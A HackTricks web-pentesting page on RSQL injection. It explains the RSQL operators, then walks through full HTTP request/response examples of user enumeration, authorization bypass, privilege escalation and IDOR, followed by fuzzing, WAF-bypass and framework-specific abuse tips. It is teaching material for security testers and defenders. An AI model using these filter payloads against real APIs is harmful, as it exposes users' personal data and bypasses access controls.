rsql-injection.md (28871B)
1 --- 2 title: "RSQL Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/rsql-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/rsql-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # RSQL Injection 14 15 ## What is RSQL? 16 RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.<sup>[[1]](#references)</sup> 17 18 ## Overview 19 RSQL injection occurs when an application exposes attacker-controlled RSQL filters without constraining the permitted fields, relations, and operators. Unlike [SQL injection](/hacktricks/pentesting-web/sql-injection/overview) or [LDAP injection](/hacktricks/pentesting-web/ldap-injection), RSQL normally builds read filters rather than raw database statements; the typical impact is unauthorized data access, enumeration, or authorization bypass. Modification or deletion requires an application-specific endpoint that applies attacker-controlled filters to a mutation.<sup>[[1]](#references)</sup> 20 21 ## How does it work? 22 RSQL allows you to build advanced queries in RESTful APIs, for example: 23 ```bash 24 /products?filter=price>100;category==electronics 25 ``` 26 27 This translates to a structured query that filters products with price greater than 100 and category “electronics”. 28 29 If the application does not correctly validate user input, an attacker could manipulate the filter to execute unexpected queries, such as: 30 ```bash 31 /products?filter=id=in=(1,2,3);delete_all==true 32 ``` 33 An attacker can also extract sensitive information through Boolean query oracles and nested relationship filters. 34 35 ## Risks 36 - **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible.<sup>[[1]](#references)</sup> 37 - **Data modification or deletion:** Possible when a mutation endpoint uses the injected filter to select records for update or deletion; filter injection alone is generally read-only. 38 - **Privilege escalation:** Manipulation of identifiers that grant roles through filters to trick the application by accessing with privileges of other users. 39 - **Evasion of access controls:** Manipulation of filters to access restricted data. 40 - **Impersonation or IDOR:** Modification of identifiers between users through filters that allow access to information and resources of other users without being properly authenticated as such. 41 42 ## Supported RSQL operators 43 | Operator | Description | Example | 44 |:----: |:----: |:------------------:| 45 | `;` / `and` | Logical **AND** operator. Filters rows where *both* conditions are *true* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | 46 | `,` / `or` | Logical **OR** operator. Filters rows where *at least one* condition is *true*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | 47 | `==` | Performs an **equals** query. Returns all rows from *myTable* where values in *columnA* exactly equal *queryValue* | `/api/v2/myTable?q=columnA==queryValue` | 48 | `=q=` | Performs a **search** query. Returns all rows from *myTable* where values in *columnA* contain *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` | 49 | `=like=` | Performs a **like** query. Returns all rows from *myTable* where values in *columnA* are like *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` | 50 | `=in=` | Performs an **in** query. Returns all rows from *myTable* where *columnA* contains *valueA* OR *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | 51 | `=out=` | Performs an **exclude** query. Returns all rows of *myTable* where the values in *columnA* are neither *valueA* nor *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | 52 | `!=` | Performs a *not equals* query. Returns all rows from *myTable* where values in *columnA* do not equal *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` | 53 | `=notlike=` | Performs a **not like** query. Returns all rows from *myTable* where values in *columnA* are not like *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` | 54 | `<` & `=lt=` | Performs a **less-than** query. Returns rows where values in *columnA* are less than *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` | 55 | `=le=` & `<=` | Performs a **less-than-or-equal** query. Returns rows where values in *columnA* are less than or equal to *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` | 56 | `>` & `=gt=` | Performs a **greater than** query. Returns all rows from *myTable* where values in *columnA* are greater than *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` | 57 | `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` | 58 | `=rng=` | Performs a **range** query. Returns rows where values in *columnA* are greater than or equal to *fromValue* and less than or equal to *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | 59 60 **Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 61 62 #### Examples 63 - name=="Kill Bill";year=gt=2003 64 - name=="Kill Bill" and year>2003 65 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 66 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000 67 - director.lastName==Nolan;year=ge=2000;year=lt=2010 68 - director.lastName==Nolan and year>=2000 and year<2010 69 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino 70 - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino 71 72 **Note**: Table based on information from [**rsql-parser**](https://github.com/jirutka/rsql-parser) application.<sup>[[3]](#references)</sup> 73 74 ## Common filters 75 These filters help refine queries in APIs: 76 77 | Filter | Description | Example | 78 |--------|------------|---------| 79 | `filter[users]` | Filters results by specific users | `/api/v2/myTable?filter[users]=123` | 80 | `filter[status]` | Filters by status (active/inactive, completed, etc.) | `/api/v2/orders?filter[status]=active` | 81 | `filter[date]` | Filters results within a date range | `/api/v2/logs?filter[date]=gte:2024-01-01` | 82 | `filter[category]` | Filters by category or resource type | `/api/v2/products?filter[category]=electronics` | 83 | `filter[id]` | Filters by a unique identifier | `/api/v2/posts?filter[id]=42` | 84 85 86 ## Common parameters 87 These parameters help optimize API responses: 88 89 | Parameter | Description | Example | 90 |-----------|------------|---------| 91 | `include` | Includes related resources in the response | `/api/v2/orders?include=customer,items` | 92 | `sort` | Sorts results in ascending or descending order | `/api/v2/users?sort=-created_at` | 93 | `page[size]` | Controls the number of results per page | `/api/v2/products?page[size]=10` | 94 | `page[number]` | Specifies the page number | `/api/v2/products?page[number]=2` | 95 | `fields[resource]` | Defines which fields to return in the response | `/api/v2/users?fields[users]=id,name,email` | 96 | `search` | Performs a more flexible search | `/api/v2/posts?search=technology` | 97 98 ## Information leakage and enumeration of users 99 The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:<sup>[[4]](#references)</sup> 100 ### Request 101 ```text 102 GET /api/registrations HTTP/1.1 103 Host: localhost:3000 104 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 105 Accept: application/vnd.api+json 106 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 107 Accept-Encoding: gzip, deflate, br, zstd 108 Content-Type: application/vnd.api+json 109 Origin: https://localhost:3000 110 Connection: keep-alive 111 Referer: https://localhost:3000/ 112 Sec-Fetch-Dest: empty 113 Sec-Fetch-Mode: cors 114 Sec-Fetch-Site: same-site 115 ``` 116 ### Response 117 ```text 118 HTTP/1.1 400 119 Date: Sat, 22 Mar 2025 14:47:14 GMT 120 Content-Type: application/vnd.api+json 121 Connection: keep-alive 122 Vary: Origin 123 Vary: Access-Control-Request-Method 124 Vary: Access-Control-Request-Headers 125 Access-Control-Allow-Origin: * 126 Content-Length: 85 127 128 { 129 "errors": [{ 130 "code": "BLANK", 131 "detail": "Missing required param: email", 132 "status": "400" 133 }] 134 } 135 ``` 136 137 Although a `/api/registrations?email=<emailAccount>` is expected, it is possible to use RSQL filters to attempt to enumerate and/or extract user information through the use of special operators: 138 ### Request 139 ```text 140 GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 141 Host: localhost:3000 142 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 143 Accept: application/vnd.api+json 144 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 145 Accept-Encoding: gzip, deflate, br, zstd 146 Content-Type: application/vnd.api+json 147 Origin: https://locahost:3000 148 Connection: keep-alive 149 Referer: https://locahost:3000/ 150 Sec-Fetch-Dest: empty 151 Sec-Fetch-Mode: cors 152 Sec-Fetch-Site: same-site 153 ``` 154 ### Response 155 ```text 156 HTTP/1.1 200 157 Date: Sat, 22 Mar 2025 14:09:38 GMT 158 Content-Type: application/vnd.api+json;charset=UTF-8 159 Content-Length: 38 160 Connection: keep-alive 161 Vary: Origin 162 Vary: Access-Control-Request-Method 163 Vary: Access-Control-Request-Headers 164 Access-Control-Allow-Origin: * 165 166 { 167 "data": { 168 "attributes": { 169 "tenants": [] 170 } 171 } 172 } 173 ``` 174 In the case of matching a valid email account, the application would return the user's information instead of a classic *“true”*, *"1"* or whatever in the response to the server: 175 ### Request 176 ```text 177 GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 178 Host: localhost:3000 179 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 180 Accept: application/vnd.api+json 181 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 182 Accept-Encoding: gzip, deflate, br, zstd 183 Content-Type: application/vnd.api+json 184 Origin: https://localhost:3000 185 Connection: keep-alive 186 Referer: https://localhost:3000/ 187 Sec-Fetch-Dest: empty 188 Sec-Fetch-Mode: cors 189 Sec-Fetch-Site: same-site 190 ``` 191 ### Response 192 ```text 193 HTTP/1.1 200 194 Date: Sat, 22 Mar 2025 14:19:46 GMT 195 Content-Type: application/vnd.api+json;charset=UTF-8 196 Content-Length: 293 197 Connection: keep-alive 198 Vary: Origin 199 Vary: Access-Control-Request-Method 200 Vary: Access-Control-Request-Headers 201 Access-Control-Allow-Origin: * 202 203 { 204 "data": { 205 "id": "********************", 206 "type": "UserAccountDTO", 207 "attributes": { 208 "id": "********************", 209 "type": "UserAccountDTO", 210 "email": "manuel**********@domain.local", 211 "sub": "*********************", 212 "status": "ACTIVE", 213 "tenants": [{ 214 "id": "1" 215 }] 216 } 217 } 218 } 219 ``` 220 ## Authorization evasion 221 In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:<sup>[[4]](#references)</sup> 222 ### Request 223 ```text 224 GET /api/users HTTP/1.1 225 Host: localhost:3000 226 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 227 Accept: application/vnd.api+json 228 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 229 Accept-Encoding: gzip, deflate, br, zstd 230 Content-Type: application/vnd.api+json 231 Authorization: Bearer eyJhb................. 232 Origin: https://localhost:3000 233 Connection: keep-alive 234 Referer: https://localhost:3000/ 235 Sec-Fetch-Dest: empty 236 Sec-Fetch-Mode: cors 237 Sec-Fetch-Site: same-site 238 ``` 239 ### Response 240 ```text 241 HTTP/1.1 403 242 Date: Sat, 22 Mar 2025 14:40:07 GMT 243 Content-Length: 0 244 Connection: keep-alive 245 Vary: Origin 246 Vary: Access-Control-Request-Method 247 Vary: Access-Control-Request-Headers 248 Access-Control-Allow-Origin: * 249 ``` 250 251 Again we make use of the filters and special operators that will allow us an alternative way to obtain the information of the users and evading the access control. 252 For example, filter by those *users* that contain the letter “*a*” in their user *ID*: 253 ### Request 254 ```text 255 GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 256 Host: localhost:3000 257 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 258 Accept: application/vnd.api+json 259 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 260 Accept-Encoding: gzip, deflate, br, zstd 261 Content-Type: application/vnd.api+json 262 Authorization: Bearer eyJhb................. 263 Origin: https://localhost:3000 264 Connection: keep-alive 265 Referer: https://localhost:3000/ 266 Sec-Fetch-Dest: empty 267 Sec-Fetch-Mode: cors 268 Sec-Fetch-Site: same-site 269 ``` 270 ### Response 271 ```text 272 HTTP/1.1 200 273 Date: Sat, 22 Mar 2025 14:43:28 GMT 274 Content-Type: application/vnd.api+json;charset=UTF-8 275 Content-Length: 1434192 276 Connection: keep-alive 277 Vary: Origin 278 Vary: Access-Control-Request-Method 279 Vary: Access-Control-Request-Headers 280 Access-Control-Allow-Origin: * 281 282 { 283 "data": [{ 284 "id": "********A***********", 285 "type": "UserGetResponseCustomDTO", 286 "attributes": { 287 "status": "ACTIVE", 288 "countryId": 63, 289 "timeZoneId": 3, 290 "translationKey": "************", 291 "email": "**********@domain.local", 292 "firstName": "rafael", 293 "surname": "************", 294 "telephoneCountryCode": "**", 295 "mobilePhone": "*********", 296 "taxIdentifier": "********", 297 "languageId": 1, 298 "createdAt": "2024-08-09T10:57:41.237Z", 299 "termsOfUseAccepted": true, 300 "id": "******************", 301 "type": "UserGetResponseCustomDTO" 302 } 303 }, { 304 "id": "*A*******A*****A*******A******", 305 "type": "UserGetResponseCustomDTO", 306 "attributes": { 307 "status": "ACTIVE", 308 "countryId": 63, 309 "timeZoneId": 3, 310 "translationKey": ""************", 311 "email": "juan*******@domain.local", 312 "firstName": "juan", 313 "surname": ""************",", 314 "telephoneCountryCode": "**", 315 "mobilePhone": "************", 316 "taxIdentifier": "************", 317 "languageId": 1, 318 "createdAt": "2024-07-18T06:07:37.68Z", 319 "termsOfUseAccepted": true, 320 "id": "*******************", 321 "type": "UserGetResponseCustomDTO" 322 } 323 }, { 324 ................ 325 ``` 326 327 ## Privilege Escalation 328 It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:<sup>[[4]](#references)</sup> 329 ### Request 330 ```text 331 GET /api/companyUsers?include=role HTTP/1.1 332 Host: localhost:3000 333 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 334 Accept: application/vnd.api+json 335 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 336 Accept-Encoding: gzip, deflate, br, zstd 337 Content-Type: application/vnd.api+json 338 Authorization: Bearer eyJhb...... 339 Origin: https://localhost:3000 340 Connection: keep-alive 341 Referer: https://localhost:3000/ 342 Sec-Fetch-Dest: empty 343 Sec-Fetch-Mode: cors 344 Sec-Fetch-Site: same-site 345 ``` 346 ### Response 347 ```text 348 HTTP/1.1 200 349 Date: Sat, 22 Mar 2025 19:13:08 GMT 350 Content-Type: application/vnd.api+json;charset=UTF-8 351 Content-Length: 11 352 Connection: keep-alive 353 Vary: Origin 354 Vary: Access-Control-Request-Method 355 Vary: Access-Control-Request-Headers 356 Access-Control-Allow-Origin: * 357 358 { 359 "data": [] 360 } 361 ``` 362 363 Using certain operators we could enumerate administrator users: 364 ### Request 365 ```text 366 GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 367 Host: localhost:3000 368 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 369 Accept: application/vnd.api+json 370 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 371 Accept-Encoding: gzip, deflate, br, zstd 372 Content-Type: application/vnd.api+json 373 Authorization: Bearer eyJh..... 374 Origin: https://localhost:3000 375 Connection: keep-alive 376 Referer: https://localhost:3000/ 377 Sec-Fetch-Dest: empty 378 Sec-Fetch-Mode: cors 379 Sec-Fetch-Site: same-site 380 ``` 381 ### Response 382 ```text 383 HTTP/1.1 200 384 Date: Sat, 22 Mar 2025 19:13:45 GMT 385 Content-Type: application/vnd.api+json;charset=UTF-8 386 Content-Length: 361 387 Connection: keep-alive 388 Vary: Origin 389 Vary: Access-Control-Request-Method 390 Vary: Access-Control-Request-Headers 391 Access-Control-Allow-Origin: * 392 393 { 394 "data": [{ 395 "type": "CompanyUserGetResponseDTO", 396 "attributes": { 397 "companyId": "FA**************", 398 "companyTaxIdentifier": "B999*******", 399 "bizName": "company sl", 400 "email": "jose*******@domain.local", 401 "userRole": { 402 "userRoleId": 1, 403 "userRoleKey": "general.roles.admin" 404 }, 405 "companyCountryTranslationKey": "*******", 406 "type": "CompanyUserGetResponseDTO" 407 } 408 }] 409 } 410 ``` 411 412 After knowing an identifier of an administrator user, it would be possible to exploit a privilege escalation by replacing or adding the corresponding filter with the administrator's identifier and getting the same privileges: 413 ### Request 414 ```text 415 GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 416 Host: localhost:3000 417 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 418 Accept: application/vnd.api+json 419 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 420 Accept-Encoding: gzip, deflate, br, zstd 421 Content-Type: application/vnd.api+json 422 Authorization: Bearer eyJ..... 423 Origin: https:/localhost:3000 424 Connection: keep-alive 425 Referer: https:/localhost:3000/ 426 Sec-Fetch-Dest: empty 427 Sec-Fetch-Mode: cors 428 Sec-Fetch-Site: same-site 429 ``` 430 ### Response 431 ```text 432 HTTP/1.1 200 433 Date: Sat, 22 Mar 2025 18:53:00 GMT 434 Content-Type: application/vnd.api+json;charset=UTF-8 435 Content-Length: 68833 436 Connection: keep-alive 437 Vary: Origin 438 Vary: Access-Control-Request-Method 439 Vary: Access-Control-Request-Headers 440 Access-Control-Allow-Origin: * 441 442 { 443 "meta": { 444 "Functionalities": [{ 445 "functionalityId": 1, 446 "permissionId": 1, 447 "effectivePriority": "PERMIT", 448 "effectiveBehavior": "PERMIT", 449 "translationKey": "general.userProfile", 450 "type": "FunctionalityPermissionDTO" 451 }, { 452 "functionalityId": 2, 453 "permissionId": 2, 454 "effectivePriority": "PERMIT", 455 "effectiveBehavior": "PERMIT", 456 "translationKey": "general.my_profile", 457 "type": "FunctionalityPermissionDTO" 458 }, { 459 "functionalityId": 3, 460 "permissionId": 3, 461 "effectivePriority": "PERMIT", 462 "effectiveBehavior": "PERMIT", 463 "translationKey": "layout.change_user_data", 464 "type": "FunctionalityPermissionDTO" 465 }, { 466 "functionalityId": 4, 467 "permissionId": 4, 468 "effectivePriority": "PERMIT", 469 "effectiveBehavior": "PERMIT", 470 "translationKey": "general.configuration", 471 "type": "FunctionalityPermissionDTO" 472 }, { 473 .... 474 }] 475 } 476 } 477 ``` 478 479 480 ## Impersonate or Insecure Direct Object References (IDOR) 481 Besides `filter`, parameters such as `include` may expose related resources or fields in the result (for example language, country, or password data).<sup>[[4]](#references)</sup> 482 483 In the following example, the information of our user profile is shown: 484 ### Request 485 ```text 486 GET /api/users?include=language,country HTTP/1.1 487 Host: localhost:3000 488 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 489 Accept: application/vnd.api+json 490 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 491 Accept-Encoding: gzip, deflate, br, zstd 492 Content-Type: application/vnd.api+json 493 Authorization: Bearer eyJ... 494 Origin: https://localhost:3000 495 Connection: keep-alive 496 Referer: https://localhost:3000/ 497 Sec-Fetch-Dest: empty 498 Sec-Fetch-Mode: cors 499 Sec-Fetch-Site: same-site 500 ``` 501 ### Response 502 ```text 503 HTTP/1.1 200 504 Date: Sat, 22 Mar 2025 19:47:27 GMT 505 Content-Type: application/vnd.api+json;charset=UTF-8 506 Content-Length: 540 507 Connection: keep-alive 508 Vary: Origin 509 Vary: Access-Control-Request-Method 510 Vary: Access-Control-Request-Headers 511 Access-Control-Allow-Origin: * 512 513 { 514 "data": [{ 515 "id": "D5********************", 516 "type": "UserGetResponseCustomDTO", 517 "attributes": { 518 "status": "ACTIVE", 519 "countryId": 63, 520 "timeZoneId": 3, 521 "translationKey": "**********", 522 "email": "domingo....@domain.local", 523 "firstName": "Domingo", 524 "surname": "**********", 525 "telephoneCountryCode": "**", 526 "mobilePhone": "******", 527 "languageId": 1, 528 "createdAt": "2024-03-11T07:24:57.627Z", 529 "termsOfUseAccepted": true, 530 "howMeetUs": "**************", 531 "id": "D5********************", 532 "type": "UserGetResponseCustomDTO" 533 } 534 }] 535 } 536 ``` 537 538 The combination of filters can be used to evade authorization control and gain access to other users' profiles: 539 ### Request 540 ```text 541 GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 542 Host: localhost:3000 543 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 544 Accept: application/vnd.api+json 545 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 546 Accept-Encoding: gzip, deflate, br, zstd 547 Content-Type: application/vnd.api+json 548 Authorization: Bearer eyJ... 549 Origin: https://localhost:3000 550 Connection: keep-alive 551 Referer: https://localhost:3000/ 552 Sec-Fetch-Dest: empty 553 Sec-Fetch-Mode: cors 554 Sec-Fetch-Site: same-site 555 ``` 556 ### Response 557 ```text 558 HTTP/1.1 200 559 Date: Sat, 22 Mar 2025 19:50:07 GMT 560 Content-Type: application/vnd.api+json;charset=UTF-8 561 Content-Length: 520 562 Connection: keep-alive 563 Vary: Origin 564 Vary: Access-Control-Request-Method 565 Vary: Access-Control-Request-Headers 566 Access-Control-Allow-Origin: * 567 568 { 569 "data": [{ 570 "id": "94******************", 571 "type": "UserGetResponseCustomDTO", 572 "attributes": { 573 "status": "ACTIVE", 574 "countryId": 63, 575 "timeZoneId": 2, 576 "translationKey": "**************", 577 "email": "jose******@domain.local", 578 "firstName": "jose", 579 "surname": "***************", 580 "telephoneCountryCode": "**", 581 "mobilePhone": "********", 582 "taxIdentifier": "*********", 583 "languageId": 1, 584 "createdAt": "2024-11-21T08:29:05.833Z", 585 "termsOfUseAccepted": true, 586 "id": "94******************", 587 "type": "UserGetResponseCustomDTO" 588 } 589 }] 590 } 591 ``` 592 593 594 ## Detection and Fuzzing Quick Wins 595 - Check for RSQL support by sending harmless probes like `?filter=id==test`, `?q==test` or malformed operators `=foo=`; verbose APIs often leak parser errors ("Unknown operator" / "Unknown property"). 596 - `rsql-parser`-style grammars reserve `" ' ( ) ; , = ! ~ < >`; if a selector/value containing one of those characters only works once quoted (for example `name=='a,b'`), you have a useful fingerprint and a hint that input validation is happening on only part of the expression. 597 - Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships.<sup>[[5]](#references)</sup> 598 - Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint.<sup>[[5]](#references)</sup> 599 - Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names.<sup>[[5]](#references)</sup> 600 - Many implementations double-parse URL parameters; try double-encoding `(`, `)`, `*`, `;` (e.g., `%2528admin%2529`) to bypass naive blocklists and WAFs. 601 - Boolean exfil with wildcards: `filter[users]=email==*%@example.com;status==ACTIVE` and flip logic with `,` (OR) to compare response sizes. 602 - Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs. 603 604 ## Framework-specific abuse (Elide / JPA Specification / JSON:API) 605 - `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears.<sup>[[3]](#references)</sup> 606 - Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.<sup>[[5]](#references)</sup> 607 - `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps.<sup>[[6]](#references)</sup> 608 - The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server.<sup>[[6]](#references)</sup> 609 - Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable.<sup>[[6]](#references)</sup> 610 - Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.<sup>[[7]](#references)</sup> 611 612 ## Automation helpers 613 - **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators. 614 - **Python quick builder**: 615 ```python 616 from pyrsql import RSQL 617 payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)") 618 print(str(payload)) 619 ``` 620 - Pair with HTTP fuzzer (ffuf, turbo-intruder) by iterating wildcard positions `*a*`, `*e*`, etc., inside `=in=` lists to enumerate IDs and emails quickly. 621 622 ## References 623 - [1] [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) 624 - [2] [MOLGENIS documentation](https://molgenis.gitbooks.io/molgenis/content/) 625 - [3] [rsql-parser](https://github.com/jirutka/rsql-parser) 626 - [4] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) 627 - [5] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html) 628 - [6] [rsql-jpa-specification](https://github.com/perplexhub/rsql-jpa-specification) 629 - [7] [Elide SQL Injection Security Advisory (CVE-2022-24827) - GHSA-8xpj-9j9g-fc9r](https://github.com/yahoo/elide/security/advisories/GHSA-8xpj-9j9g-fc9r)